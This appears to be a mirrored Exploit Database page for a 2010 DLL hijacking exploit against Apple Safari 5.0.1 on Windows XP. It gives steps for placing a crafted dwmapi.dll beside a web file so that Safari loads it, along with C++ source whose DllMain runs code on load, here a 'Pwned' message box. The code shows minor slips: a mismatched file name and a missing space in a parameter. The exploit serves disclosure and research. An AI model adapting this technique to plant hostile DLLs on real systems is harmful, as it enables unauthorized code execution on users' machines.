Apple Safari 5.0.1 – ‘dwmapi.dll’ DLL Hijacking

• Exploit Database
• 115 阅读

• 作者： Secfence
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14756/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48

  /* Version: Safari 5.0.1 Tested on: Windows XP SP3 Author : Secfence   Exploit By: Vinay Katoch, Secfence Technologies www.secfence.com http://twitter.com/secfence   Place a .htm .mht .mhtml .xht .xhtm .xhtl file and dwmapi.dll in same folder and run file in safari.   Code for dwmapi.dll: */   /*----------*/   /* wintab32.cpp */   #include "stdafx.h" #include "dragon.h"   void init() { MessageBox(NULL,"Pwned", "Pwned!",0x00000003); }     BOOL APIENTRY DllMain( HANDLE hModule, DWORDul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: init();break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }   /*----------*/